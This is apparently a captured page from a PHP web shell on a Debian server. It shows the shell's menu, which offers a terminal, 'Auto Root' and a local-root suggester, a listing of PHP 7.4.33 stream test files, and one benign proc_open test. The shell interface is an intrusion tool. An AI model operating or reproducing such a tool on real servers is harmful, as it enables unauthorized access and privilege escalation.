Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
standard /
tests /
streams /
Delete
Unzip
Name
Size
Permission
Date
Action
bug40459.phpt
1.79
KB
-rw-rw-r--
2022-10-31 11:36
bug44712.phpt
301
B
-rw-rw-r--
2022-10-31 11:36
bug44818.phpt
685
B
-rw-rw-r--
2022-10-31 11:36
bug46024.phpt
974
B
-rw-rw-r--
2022-10-31 11:36
bug46147.phpt
306
B
-rw-rw-r--
2022-10-31 11:36
bug46426.phpt
528
B
-rw-rw-r--
2022-10-31 11:36
bug47997.phpt
259
B
-rw-rw-r--
2022-10-31 11:36
bug48309.phpt
551
B
-rw-rw-r--
2022-10-31 11:36
bug49936.phpt
340
B
-rw-rw-r--
2022-10-31 11:36
bug49936_win32.phpt
660
B
-rw-rw-r--
2022-10-31 11:36
bug53427.phpt
464
B
-rw-rw-r--
2022-10-31 11:36
bug53903.phpt
547
B
-rw-rw-r--
2022-10-31 11:36
bug54623.phpt
456
B
-rw-rw-r--
2022-10-31 11:36
bug54946.phpt
1
KB
-rw-rw-r--
2022-10-31 11:36
bug60106.phpt
793
B
-rw-rw-r--
2022-10-31 11:36
bug60455_01.phpt
623
B
-rw-rw-r--
2022-10-31 11:36
bug60455_02.phpt
553
B
-rw-rw-r--
2022-10-31 11:36
bug60455_03.phpt
1.11
KB
-rw-rw-r--
2022-10-31 11:36
bug60455_04.phpt
593
B
-rw-rw-r--
2022-10-31 11:36
bug60602.phpt
1.01
KB
-rw-rw-r--
2022-10-31 11:36
bug60817.phpt
752
B
-rw-rw-r--
2022-10-31 11:36
bug61019.phpt
1.68
KB
-rw-rw-r--
2022-10-31 11:36
bug61115-1.phpt
471
B
-rw-rw-r--
2022-10-31 11:36
bug61115-2.phpt
223
B
-rw-rw-r--
2022-10-31 11:36
bug61115.phpt
443
B
-rw-rw-r--
2022-10-31 11:36
bug61371-unix.phpt
921
B
-rw-rw-r--
2022-10-31 11:36
bug61371.phpt
836
B
-rw-rw-r--
2022-10-31 11:36
bug62922.phpt
216
B
-rw-rw-r--
2022-10-31 11:36
bug63240.phpt
402
B
-rw-rw-r--
2022-10-31 11:36
bug64166.phpt
901
B
-rw-rw-r--
2022-10-31 11:36
bug64166_2.phpt
989
B
-rw-rw-r--
2022-10-31 11:36
bug64166_3.phpt
953
B
-rw-rw-r--
2022-10-31 11:36
bug64433.phpt
1.96
KB
-rw-rw-r--
2022-10-31 11:36
bug64433_srv.inc
237
B
-rw-rw-r--
2022-10-31 11:36
bug64770.phpt
934
B
-rw-rw-r--
2022-10-31 11:36
bug65483.phpt
373
B
-rw-rw-r--
2022-10-31 11:36
bug67626.phpt
720
B
-rw-rw-r--
2022-10-31 11:36
bug68948.phpt
471
B
-rw-rw-r--
2022-10-31 11:36
bug69521.phpt
742
B
-rw-rw-r--
2022-10-31 11:36
bug70198.phpt
1.29
KB
-rw-rw-r--
2022-10-31 11:36
bug70362.phpt
4.38
KB
-rw-rw-r--
2022-10-31 11:36
bug71245.phpt
852
B
-rw-rw-r--
2022-10-31 11:36
bug71323.phpt
713
B
-rw-rw-r--
2022-10-31 11:36
bug71884.phpt
312
B
-rw-rw-r--
2022-10-31 11:36
bug72075.phpt
281
B
-rw-rw-r--
2022-10-31 11:36
bug72221.phpt
259
B
-rw-rw-r--
2022-10-31 11:36
bug72534.phpt
333
B
-rw-rw-r--
2022-10-31 11:36
bug72771.phpt
675
B
-rw-rw-r--
2022-10-31 11:36
bug72853.phpt
1006
B
-rw-rw-r--
2022-10-31 11:36
bug72857.phpt
358
B
-rw-rw-r--
2022-10-31 11:36
bug73457.phpt
657
B
-rw-rw-r--
2022-10-31 11:36
bug74090.phpt
1.03
KB
-rw-rw-r--
2022-10-31 11:36
bug74556.phpt
450
B
-rw-rw-r--
2022-10-31 11:36
bug74951.phpt
342
B
-rw-rw-r--
2022-10-31 11:36
bug75031.phpt
526
B
-rw-rw-r--
2022-10-31 11:36
bug75776.phpt
829
B
-rw-rw-r--
2022-10-31 11:36
bug76136.phpt
557
B
-rw-rw-r--
2022-10-31 11:36
bug76859.phpt
363
B
-rw-rw-r--
2022-10-31 11:36
bug76943.phpt
845
B
-rw-rw-r--
2022-10-31 11:36
bug77069.phpt
1.58
KB
-rw-rw-r--
2022-10-31 11:36
bug77080.phpt
429
B
-rw-rw-r--
2022-10-31 11:36
bug77664.phpt
488
B
-rw-rw-r--
2022-10-31 11:36
bug77680.phpt
663
B
-rw-rw-r--
2022-10-31 11:36
bug77765.phpt
466
B
-rw-rw-r--
2022-10-31 11:36
bug78326.phpt
295
B
-rw-rw-r--
2022-10-31 11:36
bug78326_1.phpt
223
B
-rw-rw-r--
2022-10-31 11:36
bug78506.phpt
633
B
-rw-rw-r--
2022-10-31 11:36
bug78662.phpt
567
B
-rw-rw-r--
2022-10-31 11:36
bug78883.phpt
985
B
-rw-rw-r--
2022-10-31 11:36
bug78902.phpt
562
B
-rw-rw-r--
2022-10-31 11:36
bug79000.phpt
428
B
-rw-rw-r--
2022-10-31 11:36
bug79984.phpt
1.29
KB
-rw-rw-r--
2022-10-31 11:36
bug81346.phpt
464
B
-rw-rw-r--
2022-10-31 11:36
bug81659.phpt
478
B
-rw-rw-r--
2022-10-31 11:36
eagain_is_not_an_error.phpt
386
B
-rw-rw-r--
2022-10-31 11:36
glob-wrapper.phpt
1.01
KB
-rw-rw-r--
2022-10-31 11:36
nonblocking_stdin.phpt
168
B
-rw-rw-r--
2022-10-31 11:36
opendir-001.phpt
567
B
-rw-rw-r--
2022-10-31 11:36
opendir-002.phpt
577
B
-rw-rw-r--
2022-10-31 11:36
opendir-003.phpt
775
B
-rw-rw-r--
2022-10-31 11:36
opendir-004.phpt
767
B
-rw-rw-r--
2022-10-31 11:36
proc_open_bug51800.phpt
2.09
KB
-rw-rw-r--
2022-10-31 11:36
proc_open_bug51800_right.phpt
1.48
KB
-rw-rw-r--
2022-10-31 11:36
proc_open_bug51800_right2.phpt
1.66
KB
-rw-rw-r--
2022-10-31 11:36
proc_open_bug60120.phpt
1.59
KB
-rw-rw-r--
2022-10-31 11:36
proc_open_bug64438.phpt
2.01
KB
-rw-rw-r--
2022-10-31 11:36
proc_open_bug69900.phpt
1.35
KB
-rw-rw-r--
2022-10-31 11:36
set_file_buffer.phpt
916
B
-rw-rw-r--
2022-10-31 11:36
stream_context_get_params_001.phpt
1.98
KB
-rw-rw-r--
2022-10-31 11:36
stream_context_set_option_basic.phpt
794
B
-rw-rw-r--
2022-10-31 11:36
stream_context_tcp_nodelay.phpt
512
B
-rw-rw-r--
2022-10-31 11:36
stream_context_tcp_nodelay_fopen.phpt
521
B
-rw-rw-r--
2022-10-31 11:36
stream_context_tcp_nodelay_server.phpt
990
B
-rw-rw-r--
2022-10-31 11:36
stream_copy_to_stream_socket.phpt
635
B
-rw-rw-r--
2022-10-31 11:36
stream_filter_register.phpt
549
B
-rw-rw-r--
2022-10-31 11:36
stream_get_contents_001.phpt
347
B
-rw-rw-r--
2022-10-31 11:36
stream_get_contents_002.phpt
385
B
-rw-rw-r--
2022-10-31 11:36
stream_get_contents_negative_length.phpt
341
B
-rw-rw-r--
2022-10-31 11:36
stream_get_line_NUL_delimiter.phpt
486
B
-rw-rw-r--
2022-10-31 11:36
stream_get_line_nb.phpt
2.06
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_dir_basic.phpt
781
B
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_file_basic.phpt
503
B
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_file_error.phpt
1.82
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_file_variation1.phpt
7.95
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_file_variation2.phpt
2.06
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_file_variation4.phpt
1.26
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_file_variation5.phpt
1.12
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_process_basic.phpt
542
B
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_socket_basic.phpt
445
B
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_socket_variation1.phpt
2.05
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_socket_variation2.phpt
1.88
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_socket_variation3.phpt
1.46
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_meta_data_socket_variation4.phpt
1.62
KB
-rw-rw-r--
2022-10-31 11:36
stream_get_transports.phpt
298
B
-rw-rw-r--
2022-10-31 11:36
stream_get_wrappers.phpt
417
B
-rw-rw-r--
2022-10-31 11:36
stream_is_local.phpt
207
B
-rw-rw-r--
2022-10-31 11:36
stream_multi_filters_close.phpt
1.23
KB
-rw-rw-r--
2022-10-31 11:36
stream_resolve_include_path.phpt
1.17
KB
-rw-rw-r--
2022-10-31 11:36
stream_select_preserve_keys.phpt
683
B
-rw-rw-r--
2022-10-31 11:36
stream_set_chunk_size.phpt
2.69
KB
-rw-rw-r--
2022-10-31 11:36
stream_set_timeout_error.phpt
2.53
KB
-rw-rw-r--
2022-10-31 11:36
stream_socket_get_name.phpt
445
B
-rw-rw-r--
2022-10-31 11:36
stream_socket_pair.phpt
435
B
-rw-rw-r--
2022-10-31 11:36
stream_socket_recvfrom.phpt
576
B
-rw-rw-r--
2022-10-31 11:36
user-stream-error.phpt
620
B
-rw-rw-r--
2022-10-31 11:36
user_streams_consumed_bug.phpt
689
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- Bug #51800 proc_open on Windows hangs forever --SKIPIF-- <?php echo 'skip expected to fail or take too long'; if (getenv("SKIP_SLOW_TESTS")) { die("skip slow test"); } ?> --XFAIL-- pipes have to be read/written simultaneously --FILE-- <?php /* This is the wrong way to do it. The parent will block till it has read all the STDIN. The smaller the pipe buffer is, the longer it will take. It might even pass at the end, after taking inappropriately long. Pipes have to be read simultaneously in smaller chunks, so then the pipe buffer is emptied more often and the child has chance to continue its write. The behaviour might look some better if write/read in a separate thread, however this is much more resource greedy and complexer to integrate into the user script. */ $callee = __DIR__ . "/process_proc_open_bug51800.php"; $php = PHP_BINARY; $cmd = "$php $callee"; $status; $stdout = ""; $stderr = ""; $pipes = array(); $descriptors = array( 0 => array("pipe", "rb"), // stdin 1 => array("pipe", "wb"), // stdout 2 => array("pipe", "wb") // stderr ); /* create the proc file */ $r = file_put_contents($callee, '<?php $how_much = 10000; $data0 = str_repeat("a", $how_much); $data1 = str_repeat("b", $how_much); fwrite(STDOUT, $data0); fwrite(STDERR, $data1); exit(0); '); if (!$r) { die("couldn't create helper script '$callee'"); } $process = proc_open($cmd, $descriptors, $pipes); if (is_resource($process)) { fclose($pipes[0]); while (!feof($pipes[1])) $stdout .= fread($pipes[1], 1024); fclose($pipes[1]); while (!feof($pipes[2])) $stderr .= fread($pipes[2], 1024); fclose($pipes[2]); $status = proc_close($process); } var_dump(array( "status" => $status, "stdout" => $stdout, "stderr" => $stderr, ), strlen($stdout), strlen($stderr)); ?> ===DONE=== --CLEAN-- <?php $callee = __DIR__ . "/process_proc_open_bug51800.php"; unlink($callee); ?> --EXPECTF-- array(3) { ["status"]=> int(0) ["stdout"]=> string(10000) "a%s" ["stderr"]=> string(10000) "b%s" } int(10000) int(10000) ===DONE===